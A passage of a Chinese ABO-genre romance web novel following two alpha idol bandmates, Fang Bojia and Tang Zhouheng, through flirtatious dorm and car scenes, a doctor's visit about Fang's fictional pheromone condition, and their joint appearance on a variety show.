他们一个向右侧身迈步,一个俯身前倾,单边手掌已经按上台面。
猝不及防地,二人的身体就这样撞到一起。
方柏嘉的后脑勺轻轻嗑上对方的鼻尖,等他反应过来时,自己的肩膀已经抵在来人的锁骨上,和汤昼恒呈现出一个近乎被对方搂在怀里的姿势。
一阵清爽的须后水余香飘来,方柏嘉第一次这么清楚地闻到汤昼恒早晨洗漱后的味道。清新,芬芳,但又内敛,居然是柠檬味,和他本身的信息素一样,都属于水果的香型。
大早上闻到这个,也太……
方柏嘉的大脑“咣当”一下停摆了。
不过怔愣犹豫两秒的功夫,没有及时避开的弊端就显现出来了。
手腕上蓦地一震。
方柏嘉觉得这个情景有点似曾相识,同时和汤昼恒低头往下看。
然后就知道这种熟悉感从哪儿来的了。
因为他的健康手表又特么亮了。
“目前监测到您的心率升高……”
熟悉的字体铺在眼底,不用多看就知道是怎么一回事。
……靠,毁灭吧。
方柏嘉顷刻间有种无地自容的无助感。
早知道就不在洗漱的时候戴这玩意儿了。简直丢人。
正飞速思考着该做出怎样的反应才能丝滑顺畅游刃有余地把这件事盖过去,就听汤昼恒在他耳边静静地说:“紧张?”
说话时热气甚至都还吹打在方柏嘉的耳廓。
“呃。”
方柏嘉脑袋短路一瞬,旋即联想到前两天和对方在车里的一通交谈,意识到对方似乎好像大概也许在给他递台阶,于是应下:“是的。”
看来那次的谈话确实有效,起码再有类似事件发生的时候,他也有正大光明的理由可以找。
汤昼恒没说什么,向后退开一点,给方柏嘉让出可以抽身的空间。
方柏嘉觉得有点古怪,但又说不清具体的情况,怀揣着一肚子狐疑地将洗面奶挤在手心,往面孔上抹匀。
片刻后再从水龙头前抬起头来,整张脸都已经湿透。
方柏嘉眼睛在水里睁不开,洗掉脸上的泡沫,双眼紧紧地闭着,右手摸索着向记忆中放了一次性洁面巾的地方探去,两次都落了空。
第三次方柏嘉准备拓宽区域,结果才往旁边伸过去一点,手边就传来瓶瓶罐罐被他碰倒的声音。
“……”
方柏嘉暗骂一声,正打算忍着不适将眼睛掀开条缝,忽然有什么东西碰了碰他的手背。
接着是面巾被从包装里抽拉出来的响动。
一双骨节宽大分明的手扶住他的腰身两侧,轻轻将他带着翻了个身。
方柏嘉大腿抵住带有一些水渍的洗手池台沿,那块的布料立刻便被打湿。有人向他靠近,气息稍微比他更上一些,淡淡的鼻息暖洋洋地吹拂着他的鼻梁。
下一秒,柔软的物体落在脸上。
对方攥着干燥的洁面巾,一下又一下地仔细清理着方柏嘉面庞四周的水分。
从汤昼恒的这个角度,刚好能看到他薄薄颤抖的眼皮。乌黑沾水的睫毛齐刷刷地粘在他的下眼睑上,像分叉的刷子,一簇簇地黏在一起。
视野被剥夺的感觉令人有些不安,方柏嘉皮肤发痒,忍不住躲了躲。
下巴尖却被人轻轻捏住,抬起。
“别动。”汤昼恒立刻道。
声音低而轻,富有某种磁性。
手腕上的手表再度嗡嗡震颤起来,代表着方柏嘉同样失去控制狂跳的心。
他单手撑在台边,五根手指一根接一根地叩紧,怀疑自己的脸肯定像苹果一样无措地红起来了。
薄薄的眼睑被柔软的洗脸巾蹭过,皮肤很快变得干燥。
方柏嘉恢复了视野,很快睁大眼睛,直勾勾瞧着近在咫尺的人。
这一看,却是一愣。
因为要给他擦拭,高大的alpha低着头,挨他很近,方柏嘉感觉自己宛若在被他的目光描摹,凡是被他眼眸扫过的地方,唇面上都被激光燎过一样滚烫。
汤昼恒手上不停,眼神却错开位,凝视着方柏嘉的唇。
先是低头盯了两秒他的唇瓣,然后视线稍稍上移,来到他鼻尖附近的位置,随后再往下落。
眼睑几番起伏颤动间欲念俱显,那怎么可能是正常打量的神色?
就连侧着头捏他下巴帮他擦脸的姿势,看上去也像别有预谋。
方柏嘉不由得喉结滚动,小幅吞咽了下,为此感到呼吸困难,眼睛瞪大,整个人像被咒语定在原地,就这么眼睁睁看着汤昼恒动作。
有那么好几息的时间里,汤昼恒每往他这边不经意倾身一点,方柏嘉都以为那人真的会靠近过来含住他的嘴唇。
然而最终并没有这种事情发生。
汤昼恒垂眼看了看方柏嘉腕上警告不止的手表,又看看他,轻声问:“这样也紧张?”
方柏嘉这才从恍惚的状态中缓过神来,一个激灵:“………………”
怎么了,不行吗。
换你被自己的理想型这么暧昧地对待试试看呢,站着说话不腰疼。
他张了张唇呼气,没说什么。
有些怀疑对方是故意的,但又没有确切证据。
……他怎么会觉得汤昼恒刚刚要亲他呢,真是魔怔了。
此地不宜久留。
方柏嘉猛地从汤昼恒手里扯过那张半湿半干的面巾,自己随便地擦了擦,扔到垃圾桶里,留下一句答非所问的“我收拾好了,你自便吧”,迅速逃离这一方小小的空间。
*
诡异的心情一直维持到坐上车。
刚好六人现在都住宿舍,公司直接把车开到地下停车场等他们出来。
方柏嘉莫名地不想和汤昼恒一起走,磨磨蹭蹭到最后一个才下楼。到了车上一看,保姆车内的其他座位都被占了,只有最后一排汤昼恒的身旁还有位置。
……方柏嘉几乎立刻就有想要转身离开这辆车的冲动。
但这是不可能的。
他在原地给自己加了把劲,慢慢走上前去,在汤昼恒的身边坐下。屁股刚挨着座位,又觉得有点危险,往车窗边凑了凑。
耳边传来汤昼恒温和的提醒:“坐到了。”
方柏嘉没明白:“什么?”
汤昼恒没有回答。
只是放下手机,不由分说地朝他倾身,一只手越过方柏嘉的腹部,探向他腰后偏下,被青年的身体压住的部分。
“这里,我的衣服。”
“哦哦——”
感受到臀部下方传来的拉扯感,方柏嘉才意识到自己把对方上车后脱下来的外套给坐住了,顿感尴尬地想要避开,却又苦于四周没有抓扶的把手。
他在短暂的0.05秒内纠结了一下,下意识做出反应,脖颈包括后肩那儿顶住座椅的靠枕部分,两只手则分别略显窘迫地攀在汤昼恒的肩膀和大臂上,双腿使劲,抬起自己的下半身。
两人间的距离刹那拉近,上半身相隔不超过十公分。
又是一个近乎正面拥抱的姿势。
方柏嘉双掌搭在他的身上,隔着一层薄薄的夏天衣物,感受到从对方躯壳中漫越出来的澎湃体温、还有他温热如风般的呼吸。
方柏嘉瞬间定住,后脑勺以及后背都因为
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这突如其来的近距离接触而僵直得近乎发麻,觉得自己和汤昼恒像是两棵在争夺二氧化碳的树。
想要表现得自然一点,装作无所谓的样子,然而逐渐加快的心跳声已经背叛了他。
“滋滋——”
手腕贴住对方肩头的部分猛跳两下,将这份震感通过肌肤传给了对方。
正在挪动的两个人都同时一顿。
方柏嘉:“……”
该死,这回他不用看都知道,那破手表肯定又亮了。
方柏嘉已经麻木到不会因为这种接二连三发生的事而剧烈地心潮起伏了。
只是有点淡淡的想死。
汤昼恒真是故意的吧。
方柏嘉终于确定了。
毕竟哪个有人性的alpha会明知自己的举动会引起对方的反应还不停越界的啊?
短短几秒,好像世纪一般漫长。
汤昼恒抽出衣物,回到座位上坐下。
重心落回原位的第一秒,方柏嘉就以毫不掩饰的谴责目光看向汤昼恒,双颊诡异地泛起一点红晕。
看起来倒不似多么愤怒,更多的是不可置信的震惊。
汤昼恒这人浓眉大眼的,怎么没事净逗人玩?
汤昼恒自知被他看穿,态度也很诚恳,没抱侥幸心理,立刻向方柏嘉承认:“不好意思,我就是想看看你那天说的是不是真的。”
“我有点担心,你是为了安慰我才那么讲。所以——”
他言犹未尽,好像很有苦衷的样子,竟显出那么一点说不出的……可怜?
方柏嘉差点就被这冒上心间的两个字给吓到。
一个好几次把别人的心率弄上110的人,竟然也和“可怜”这两个字挂上钩了。
搞了半天还是他让人没有安全感了?
方柏嘉张了张嘴,不知道该说什么。
“生气了吗?”见他不回答,汤昼恒便猜测。
目光一错不错地看着对方,声音放缓下来,换上哄人的语气:“等下请你吃早餐,不要不高兴了。”
他说话温声细语,沉下嗓音耐心和人交谈时,更有种在纵容着谁的意味,认错时也格外诚恳,让人反倒觉得是自己的不对。
方柏嘉忽然感觉胸口有点痒,说不清哪个部位酥酥麻麻,像被人挠了一下。
他别过眼,不知怎么有点一拳打在棉花上的无力。
长长地呼出一口气,略带别扭地说:“倒也没有,就是你下次别这样了。这么做真的不好。”
闻言,汤昼恒嘴角的弧度不易察觉地下降一点。
察觉到对方后面还有话说,仍然不失礼貌和耐心地看着他。
只见方柏嘉按了按胸口的位置,含蓄又为难地道:“……搞得我心率上上下下的,对身体很不健康。”
再这样下去,迟早有天被对方闹出心脏病。
老是挑战他的定力是怎么回事。
话刚说完汤昼恒就笑了。
像没想到方柏嘉给出的居然是这样的理由,他回头看向侧方的车窗,只留给方柏嘉一个修剪整齐的、毛茸茸的后脑勺,肩膀却在明显地微微抖动。
汤昼恒有意压制,再转回来还是笑意盎然。
“好的,以后不会了。”他顺着方柏嘉的话说。
这人有一双天生含情的柳叶眼,眼裂长,眼皮褶皱深,上眼睑到了尾端的地方有点下沉,不做表情时也似嗔非嗔。一笑起来,两只眼睛就变成了月牙,原本因为过于英俊而显出的不近人情也被冲散,有种很勾人的感觉。
平常正经时还好,一旦用这样一对眼睛带着笑地盯人,就总有些促狭打趣似的意味,像偶尔也会使坏的大型狗狗。
方柏嘉:“……”
又来了,这种跟上次方柏嘉问他知不知道两人共用了吸管时一样的画面。
对方是不是觉得他很傻啊?
他的脸色瞬间变得复杂起来,面孔发热,明明是少年感酷哥的长相,此刻却透出一种与外表不沾边的懵然,好像心情全写在脸上。
眼看他又有要不爽的架势,汤昼恒脾气很好地笑了笑,立刻赶在他发作前给他顺毛。
“真的。我向你保证,以后不会再让你的心跳忽上忽下的,好吗?”
18. 第 18 章
但说这话时的神色并不明确。
语调也懒散又漫不经心的样子,就连承诺也显得不正经起来。
给方柏嘉一种不太可信的感觉,好像说了也是白说。
毕竟对方要怎么做,方柏嘉也控制不了。
……而且不会让他心跳忽上忽下的是什么鬼,很难让人不怀疑他在偷换概念。
与汤昼恒的话语截然相反的是方柏嘉此刻的心跳。
震耳欲聋。
他将信将疑地看了对方好一会儿,正打算说些什么,前排的江白树突然扭过头来,从座椅上奇怪地探出大半个头:“你俩嘀嘀咕咕说什么呢?听你们这儿讲悄悄话好半天了。”
萦绕在身遭的暧昧氛围气球般骤然被人戳破,两人同时回头,看向这个半途插进来的家伙。
江白树还在那儿说:“不容易啊方柏嘉,你居然也学乖了,是不是现在队长回来了,你没法‘猴子称大王’,所以夹紧了尾巴,也知道讨好人了?”
方柏嘉立马川剧变脸:“你少在这造谣,什么讨好不讨好的,我们交流交流工作经验怎么了,倒是你。”
他打量了下对方用黑色细皮筋绑着的耳朵:“早起这水肿起码得喝两大杯冰美式才能消下去吧?馒馒。”
上次对方让他叫黑称,方柏嘉现在还记得。
“……”江白树说,“你这个人讲话好恶毒。我就随便说几句,你急什么?我看你的花名不该叫不不,应该叫……”
话没说完脑袋就被方柏嘉按了回去。
“兄弟,”坐在江白树旁边的丞绪早就对此习以为常,越过正在打闹的方、江二人朝汤昼恒伸出只手,“欢迎你回来加入我们的宿舍大家庭,咱们组合现在人是真的齐了。”
再前面一排的杭泽宇正举着手机前置照镜子,听到他们说话,也回过头来,问出了方柏嘉之前问过的问题:“不过话说,哥之前不是讲暂时不考虑搬回来吗,怎么现在又改变主意了?”
汤昼恒回答得四平八稳:“想了想还是住宿舍方便点。而且本来都专门为我和我的猫安排好宿舍位置了,不来住也有点可惜。”
这话说的,倒是没人起疑。
方柏嘉忍不住看他一眼。
保姆车开出地下车库,驶在前往摄影棚的路上。
车内渐渐归于平静,汤昼恒斜靠在扶手上手撑着头,另一只手玩儿似的转着手机。
少顷,他将电子设备解锁,找到秦高阳的微信头像,点进去。
汤昼恒:【我试着照你说的做了】
汤昼恒:【过程中他没有表现出不高兴,但是后面又说让我以后不要这样,这算是好还是不好?】
他本来没期待对方很快回答,但秦高阳那边不知道是不是也有什么需要早起的活动,居然十分钟后就发来回复。
秦高阳:【……】
秦高阳:【哥们儿你来真的啊?】
汤昼恒:【?】
秦高阳那边似乎是想了想,过了好几秒才接着道:【信息太有限了。】
【话说你这个TA男的女的?】
汤昼恒随手打字:【男的。】
秦高阳:【男omega?我怎么没感觉出来你和哪个男o走得很密切啊。】
对方这时还不忘悄悄刺探情报。
汤昼恒这回没像上次那样语焉不详,而是直接道:【男Alpha。】
秦高阳:【?】
秦高阳:【?????】
汤昼恒:【别?】
汤昼恒:【你是清朝古董吗?】
和与方柏嘉说话时的耐心不同,他在私下和熟人交谈的语气要更直白得多。
秦高阳:【不,我就表示一下震惊。合着那么多小o追求你你都不感冒原来是因为你是A性恋?难道这就是传说中的真alpha就要草alpha?】
汤昼恒:【……】
汤昼恒:【远远没到那个地步。】
秦高阳:【鼠摸意思?】
秦高阳:【没到同性恋的地步还是没到草的那一步?】
汤昼恒:【你讲话太低俗了】
汤昼恒:【我走了】
秦高阳:【等等!】
秦高阳:【你先别走,让我思考一下。你这个描述,就一句话我也分析不出来什么,而且我也没谈过alpha。】
秦高阳:【要不然你想想,多观察观察,他身边经常接触的人有没有符合他意中人标准的,或者他平时和谁比较亲密。】
秦高阳:【要是有这么个人,你危了。要是没有,说不定你还有戏。】
汤昼恒:【听起来有点道理。】
汤昼恒:【不过谁说我想要有戏了?】
秦高阳:【那你来请教我对方是怎么想的的目的是?】
秦高阳:【你问我这个问题,最后得出来的就只会有两种答案。一他对你有意思,二他对你没意思,如果你对他没意思,那你和他之间的“亲密接触”就纯粹是为了玩儿了,那又为什么要知道他到底对你有意思还是没意思?】
一串话弯弯绕绕得像来了段绕口令。
“……”
汤昼恒罕见地隔了几秒没说话。
几秒之后,他才慢慢活动手指,避重就轻地回答:【弄清现状会帮助我想明白接下来该以怎样的态度和他相处。】
不把这一点搞清楚,又始终觉得不上不下。
【呵呵,弟弟你跟我装呢。】
秦高阳翻译了一下:【你是想说,如果他对你没意思,你就不自作多情了。但如果他对你有意思,你还是会考虑和他拉近你们之间的关系,是这意思吗?】
汤昼恒:“。”
不知道该如何回应,他干脆不再搭理对方,退出聊天界面,关上手机,目视着车窗外,心中同时想着秦高阳的话。
可能怀疑的对象……
汤昼恒的心中隐隐浮上来一个人影。
片刻过后,他转过身,像是想起了什么,闲聊一般对方柏嘉道。
“你知不知道我是下期《时探家》的嘉宾?”
*
《时探家》,全称《时空旅行探险专家》,是近两年来在网上关注度很高的一档户外竞技体验真人秀节目,常驻嘉宾有六个人,方柏嘉是其中之一。
综艺如今已经进行到了第二季,方柏嘉每个月都要抽出几天的时间飞去参与节目录制。
这次的录制就在四天之后。
赶在出门前,方柏嘉自己又悄悄去了趟医院找林主任。
原定的复诊时间本来是一个月后,但经历了MV拍摄过程中发生的事,方柏嘉心中总有点疑虑。
他能感觉出来,他那天所表现出来的症状,并非是像omega那样因为alpha信息素的刺激而产生的发情迹象,反而和在练习室差点晕倒那次类似,纯粹是身体上的难受,有要休克一般的感觉。
后面对汤昼恒有了反应,也是因为对方对他进行了信息素安抚,算是治疗的副作用。
他把自己当天的情况对林主任描述了一下:“这件事发生后没两天,我好像就不太能闻到信息素的味道了。第二嗅觉时灵时不灵的,但是能正常闻到其他非信息素的物体气味,不知道是什么情况。”
除了突然“缺失”部分感官会让人有些心慌以外,这个毛病对方柏嘉的日常生活几乎没有影响。但有上次的经验打底,他总担心自己再不及时管管,后面会发展成别的情况,所以还是找时间来了。
林主任问了方柏嘉几个问题,又对着电脑翻看了一会儿资料,最后道:“这的确是你这样的alpha有概率遇到的事。”
她向他解释:“虽然平时大部分时间看起来好像没什么问题,这么久以来你也习惯了,但其实你的身体长期暴露在大量alpha信息素当中,阈值早已变得很低,这时候只要受到稍微强烈一些的刺激,你的整个信息素接收系统就会过载崩溃,从而导致你的第二嗅觉暂时性的失去感知。”
“你当时没用抑制剂是正确的,在这类情况下使用抑制类药物,不仅不会有效果,反而可能加重这种‘过载’现象。你前期大量使用了太多强效型的药剂,无形中也对你的身体产生了影响。”
“为了你往后的健康考虑,以后就算到
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了易感期,也尽量不要再用抑制剂,避免病情加重。加上继续维持脱敏治疗,你的第二嗅觉应该就会慢慢恢复。”
“怎么了?”见方柏嘉一脸吃惊又为难的样子,林主任道,“是还有哪里不清楚吗?”
“呃——也不是,就是那个……”方柏嘉歪着头,无意识勾了勾挂在下巴上的口罩边缘,纠结半天,最后呼出一口长气道,“我争取吧。”
……
综艺录制的前一天,方柏嘉就提前坐飞机赶到了拍摄地所在城市,晚上在当地的酒店过夜休息。
也就是这时,他终于收到了小橘白领养人的消息。
丑猫爱好者:【[图片][图片][图片]】
【不好意思,最近没怎么看消息。】
“丑猫爱好者”——就是领养人的网名,从二人刚加微信号时就存在了。
对方没有过多的客套和寒暄,接连发了几张照片过来,很直接。
然而也不知道是发错了还是怎么,最后一张图片才刚出现在方柏嘉眼底,就又被对方迅速撤回。
尽管只是匆匆一瞥,但还是给方柏嘉留下了鲜明的印象。
那是一只一看就属于Alpha男性的、很有力量感的手在揉搓猫咪肚皮的画面。
对方的手很长,很宽大,但一点也不粗壮,哪怕是稍微有着凸起幅度的手指骨节处,也显得线条优雅,像形状修长的竹管。
方柏嘉:“?”
他不解。
这种照片有什么撤回的必要吗?又不是露出隐私部位。
方柏嘉没在意,点开剩下几张大图轮流查看,终于得以见到小橘白现在的样子。
嗯,已经是大猫了。
只是……这些照片怎么没有一张正脸?
要么是从头顶拍摄的后背角度,猫还没照全,只露出了一半的身子。要么就是猫侧躺着趴在床上的场景,只能看出拉长的一条。
要不然就是糊得不行,仿佛是在猫咪动起来的那一刻抓拍的,导致猫头都出现了重影。
“……”
好直A的拍摄手法。
方柏嘉趴在床上边看边摇头。有点遗憾,但又觉得要是再提出进一步的要求,好像也有点过分。
他毕竟只是一个N年前就把小猫送出去了的短暂过路人。
知道小猫现在过得不错就行了,他突然找上对方的原因不也是这个么?
方柏嘉没有多想,打字:【哦好的,没事。】
丑猫爱好者时隔好几天才回复,让方柏嘉越发确定这就是对方的小号。不过对方不说,他就也跟着装不知道。
方柏嘉:【其实我也不是故意要打扰你的,主要是平时也没别的渠道看它,否则我就自助了。】
方柏嘉:【话说你好像不是很喜欢暴露自己的隐私诶?平时微博也没看到你发猫,感觉在养猫人里很少见】
方柏嘉很随意就把心中的疑问说出了口。
其实也是想隐晦地提醒一下对方,没事也是可以稍微发发自己的小猫的,其他人爱不爱看不知道,但至少可以造福方柏嘉。
丑猫爱好者沉寂了好一会儿才开口:【抱歉,其实是因为我之前谈了个对象。】
方柏嘉:【啊?】
这是什么发展。
丑猫爱好者:【我和他一起养了一段时间的猫,分手后他一直说要来偷猫,我不想被他知道猫的下落行踪,所以一直没在网上发过有关猫的消息,抱歉。】
两条信息下来,立马就把方柏嘉隐隐的期待给否决了。
方柏嘉:【啊……】
虽然听起来略诡异但莫名的很合理是怎么回事。
方柏嘉:【可以理解,没关系的】
方柏嘉:【不过你介意我之后隔段时间再来问你要新的猫猫照片吗?或者你把它发在朋友圈也行?】
既然是前任,总不至于微信还加着对方的账号吧。方柏嘉想,都聊到这儿了,那他再顺便多提一个要求,应该也不算过分。
丑猫爱好者那边又是好一会儿的沉默。
【我尽力,不过我拍摄技术可能不是很好。】
19. 第 19 章
第二天清晨,方柏嘉早早就起来准备开工。
《时旅家》这一期的录制地点在南方某个海岛,等着工作人员调试机器的功夫,方柏嘉缩在等下要进行今天第一场拍摄的沙滩边的遮阳伞下,心不在焉地刷着手机。
忽然间,坐在他旁边的常驻李子晋用手肘戳了戳方柏嘉的身体,冲他这边倾身过来说:“哎,看你老公。”
方柏嘉不明就里地顺着对方递过来的手机界面一看。
上边赫然是某音上的油腻Alpha搞笑视频。
“……”
方柏嘉:“你特么……这你老公。”
李子晋:“你老公。”
方柏嘉:“你老公。”
“你老……”
方柏嘉终于忍不住了:“滚。有意思吗你?”
幼稚不幼稚。
李子晋一击得逞,倒也没贪多,把手机收回去一个劲儿地偷笑。
过了一会儿,忽然又戳戳他。
方柏嘉:“……”
有完没完了还。
他没理李子晋,抖了抖那只被对方碰过的手臂,意思是让这人别闹了,他不会再上当第二次。
结果对方的动作还是没停。
方柏嘉压低了声音不耐烦道:“干嘛。”
“喂。”李子晋小声说,“你老公来了。”
方柏嘉低头划着手机屏幕,边听边翻了个白眼:“走开。”
有谁会信。
“你老公真来了!”李子晋从戳改成了拍,“不信你看——”
方柏嘉郎心似铁,依旧像没听到那样没有任何反应。
李子晋突然就没了声。
方柏嘉以为自己的冷处理方法有效,正觉得得意。
几秒过后,右侧肩头上冷不丁传来被人用手指轻碰的触感。
方柏嘉寻思着李子晋又绕到另一边接着骚扰他来了,心中忍耐到了极限,猛一下甩开那人递来的手臂,回头的同时抬高音量警告:“你烦不烦?都说了让你别……”
转头看到汤昼恒比自己高五公分的脸,他瞬间哑火。
……
……
草,这个真是他老公。
虽然是方柏嘉自封的那种。
来人一脸复杂又惊讶地看着自己,好像被方柏嘉突如其来的小发雷霆震到,刚刚碰过他肩膀的那只手还悬在空中,眉宇间满是无辜和茫然。
方柏嘉现在比他还要茫然,侧脸望了眼旁边的李子晋,才发现对方早就默默退到椅子上看热闹去了,两人目光对视,居然还给他做了个“你看我就说,谁让你不信”的表情,无辜地摊了摊手。
“……”
方柏嘉缓缓看回汤昼恒,发现对方的目光也刚从李子晋身上收回。
他沉默地抿嘴半晌,憋出一句:“……嗨。呃,我跟他开玩笑呢,刚才不是在说你。”
方柏嘉讪讪地指了指李子晋的方向。
“那个,你早饭吃了没?”
*
……
所有嘉宾到齐,现场准备就绪之后,他们就正式开拍了。
第一个环节是本期的飞行嘉宾轮流进行自我介绍。
公司安排接洽汤昼恒在这个时间过来参加方柏嘉的常驻综艺,无疑是抱着让他们宣传组合新专辑的目的。
等身边的人说完“我是来自unforbid''em的汤昼恒”时,方柏嘉立刻跟着上前一步,十分默契地与汤昼恒并肩站立着做出组合的标志手势。
“大家好我们是——unforbid''em!”
早已重复过无数次的口号,不需要特意对齐都能做到声音完全重叠。
话音落下,方柏嘉几乎是下意识地看了汤昼恒一眼,对方也正好转头望向他。
过来参加节目的艺人有时会带有宣传任务,节目组也给他们留出了时间,让两人在沙滩上简单跳了主打曲中的一个片段,为组合回归打了广告。
退回到队列中时,常驻里的大姐大金永怡像是发现了什么,指着站在一起的方柏嘉和汤昼恒冲所有人道:“你们发现没有?这两个人戴着一模一样的手表。”
经她指出,大家都注意到了这点并打趣。
“果然诶,为什么?”
“你们组合这么有团魂的吗?这其实是节目组最近新接的软广吧?”
“哎,这个不行啊。”另一位辈分较大、以油滑著称的常驻聂英毅看了立刻举手,半开玩笑道,“我们节目平常录制都不让带电子设备,就是怕有人串通消息作弊,他俩怎么被允许戴这个的,有谁给我一个说法?”
被cue到的二人都举起手臂,方柏嘉莫名有点不好意思:“这个让导演来帮我解释吧。”
监视器后,《时旅家》的总导演康导道:“之所以这样,是因为我们的常驻嘉宾柏嘉最近身体不适,他的队友汤昼恒同学在今天早上前采时特别要求我们,希望接下来两天的拍摄过程中都能让他戴着手表,方便监控身体情况,节目组在经过考虑之后也确实是同意了。”
“对。”汤昼恒一边点头一边看着镜头。
“我有好几个来过的朋友都跟我说上《时旅家》特别累,所以我就有点担心他。因为确实,前段时间身体最差的时候是不太能进行这些运动的。所以我这次来主要是起到一个监护人的职责和作用吧,希望节目组别让他太累了。”
汤昼恒说完,全场人都统一沉默了一秒。
大概是因为气场很怪,怪到不像是前来参加有队友在的综艺节目,反而更像是来查岗。
那种得天独厚的、诡异中又很熟稔地就把方柏嘉划分到自己旗下,而其他人都是外人的味道。
再看方柏嘉,竟然也破天荒地没有反驳,而是站在对方一旁,一手握着另一只手的手腕,一副乖乖听话、没有异议的样子。
简直从恶魔比的形象变成了温良恭俭让的天使比。
按理说有熟人来这档节目,方柏嘉作为《时旅家》的常驻,应该是尽地主之谊招待和照顾对方的主位。
结果汤昼恒一上来就来了个倒反天罡,反倒成了照顾人的那个,还表现得这么理所应当,自然而然,一下就引起了其他人的吐槽之心。
“这不对吧?你这个人说话好奇怪啊。”在旁围观的李子晋当场就憋不住了。
他没和汤昼恒打过交道,但碍不住他在节目里和方柏嘉是最熟的,听到这儿第一个反应过来,接道:“你上我们节目,然后叮嘱我们要照顾好方柏嘉,是当我们节目组的人都死的吗?”
李子晋话音一落,四周立即传来善意的哄笑。
刚才还有些客套安静的场面一下热闹起来,仿佛有什么开关无形中被人打开,大家纷纷发表感想。
“哦——”旁边是不知道谁拖腔拉调的声音,“监护人啊,那我们是什么?你这么说把我们其他人置于何地?”
另一位经常过来飞行的狄弘亮也吐槽:“不知道咱柏嘉是什么生活不能自理的人呢,你没来之前饭都不会自己吃,身体不舒服也不会跟导演说,一定要你跟节目组讲。”
“导演下次不要再请这个人来了,我觉得他在挑衅我们!”
简直成了大型起哄现场。
方柏嘉试图出声制止无果,在间隙中狠狠瞪了始作俑者李子晋一眼,但对方没接。
只好一脸无奈又诧异地站在原地,摄像机照到他,他立刻对着镜头做了个“发生了什么?”的手势。
好一会儿过后,喧闹才终于平息下来,有人看热闹不嫌事大地采访方柏嘉:“来柏嘉你自己说,你归他管吗?”
方柏嘉几乎是求救般地望向远处的导演,对方置若罔闻。他又看了看身边的汤昼恒,汤昼恒也只是低垂着眼睛看他,好像也在等他的回答。
这让他怎么说?
说不归,剪出去岂不是加深了他
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们关系不好的刻板印象,回去肯定又要被经纪人说。
算了,公司的安排,还是听公司的吧。才不是因为他想被汤昼恒管呢。
方柏嘉纠结再三,也不知道磨磨蹭蹭个什么劲,最后目光闪烁道:“……我归啊。”
随后不出所料地招来了其他常驻们的“围攻”。
“完了,这人没救了,遇见他们队长就胳膊肘往外拐。”
“搞清楚你是站在哪一边的,我们是在帮你说话好不好?”
众人的目光像在看着不争气的孩子,你一言我一语,把方柏嘉说得脸都烧红。
“那你为什么也要戴这个手表呢?”突然,今天的飞行嘉宾之一,一名omega这样问汤昼恒。
汤昼恒是这样解释的:“因为这样比较方便我们平时沟通。如果他在外面感觉身体不适,手边又刚好没有其他通讯设备,他也依然可以联系到我。”
金永怡好奇地看来看去:“感觉这种紧急联系人填队友很少见诶,子晋以前好像也是男团出身的是不是,你和你的队友有亲密到这个地步吗?”
李子晋冷酷道:“不会。我们队就是那种一个人在旁边死了剩下的人都会继续打游戏的组合。”
“这不会是你们公司为了洗清你们的不合传闻特地写了段剧情让你们演的吧?”有人开玩笑道。
听到这里,方柏嘉一个激灵,耳朵立刻竖了起来,心想,终于来了。
既然要让这两个人一起上综艺,肯定多多少少会牵扯到前段时间的直播事件。公司来之前也跟节目组乃至嘉宾都打好了招呼,让他们帮忙在需要的时候打打圆场,几个熟识的常驻拍摄前也没少拿这点跟方柏嘉打趣。
所以这看似刁难般的提问,其实是在主动开启话题,包括刚才金永怡主动提到二人的手表,也是环节当中的一部分。
汤昼恒从容不迫地笑了笑:“真的不是——当然,公司的确有让我们好好表现,不过没有细致到编故事的程度。”
狄弘亮紧接着向方柏嘉求证:“小方,他说的是真的吗?”
方柏嘉立刻为汤昼恒正名:“是真的平时就戴着这个。”
却还是紧张得下意识摸了摸夹在衣服领口的麦。
金永怡:“所以你的紧急联系人的确是他。”
方柏嘉:“对。”
“没有别人?”
“呃……”方柏嘉只知道话题会cue到他的汤昼恒,根本没想到节目里还会有这一段,背上汗都快下来了,但又不好撒谎,只能诚实道,“没有。”
马上就有人问他:“为什么?是因为他是队长吗?一般来讲其实填经纪人更合适吧?”
方柏嘉神魂飘忽,大脑转得飞快:“因为感觉……我们队里就他靠谱一点?虽然填经纪人也可以,但是他不和我们住一起,也不是每个行程都跟,还是填个每天都能见到面的人比较好。”
“至于队里的其他人,我觉得,嗯,”方柏嘉适当流露出一点一言难尽的表情,“就不指望了。”
这话说得不完全假,谁让他的脱敏治疗确实指望不上别人。
方柏嘉讲完,心中长出口气。用力眨了眨眼,希望这期节目播出后别被那几位仁兄围着算账。
毕竟这也算是背后说人坏话了。
“——所以你们是真的不熟吗?”最后一句灵魂提问,也是这番谈话的重点。
在场的人不傻,人和人之间那种微妙的情感流动,他们感觉得出来,方柏嘉和汤昼恒分明不是网上传的你死我活的关系,但也不是能肆无忌惮打闹玩笑的铁哥们儿形象。
观众也不傻,如果强行宣称他们是百年一遇的好队友,反而显得虚假,容易引起逆反心理。
两人再度对视一眼,汤昼恒道:“之前因为一些原因,可能确实没有很熟,但是,我们正在逐渐更加了解彼此的过程当中。”
“我也希望能和柏嘉变得亲近起来。”
20. 第 20 章
几名飞行嘉宾挨个smalltalk之后,紧接着由导演正式宣布本期的策划主题。
【这是一座远离大陆的海岛,传言上个世纪曾有一代匪王逃脱官兵追赶来到此地安营扎寨,并在这里留下了丰厚的宝藏遗产。无数人听说消息之后前来探宝,却又空手而归。】
【你们是一群到岛上拍摄寻宝特辑节目的工作人员,在你们当中,有两名假扮其他人的身份混进来盗取财宝的“内鬼”。】
【你们的任务除了找到宝藏,还要想办法揪出两名内鬼。】
众人在酒店里时已经提前抽取过牌面,方柏嘉知道自己的身份只是普通的工作人员。
开场的热身游戏叫“知己知彼”,是将所有人通过抽签的方式分成两组,询问每个人关于其他队员的个人冷知识,答对即可加分。
两队中积分更高的那队可以获得一个关于内鬼的线索提醒。
方柏嘉和汤昼恒被分到了一个组。
除了二人之外,队里还有李子晋、飞行嘉宾梁易、魏慈以及苗源。
游戏从他们这边开始。
第一个问题是给李子晋的:“梁丘伟博是苗源的曾用名,正确还是错误?”
“这我怎么会知道?”李子晋上来就愣了,他想了半天,犹犹豫豫道:“正确?”
康导:“回答正确。”
苗源本人解释道:“梁是父姓,我后来这个名字是跟我妈起的。”
“YES!”李子晋说,“我就知道越离谱的问题越可能是真的。”
第二个问题,在场的工作人员拿出一个巨大的纸板,上面是整整齐齐排列打印出来的十六只黑白狗头。
“请选出正确选项,哪个是嘉宾魏慈家的边牧铜钱?”
魏慈惊呆了:“这个题我都不一定会做。”
被点到回答这个问题的梁易瞎蒙了一个答案,不出意料地答错了。
下一个问题轮到方柏嘉。
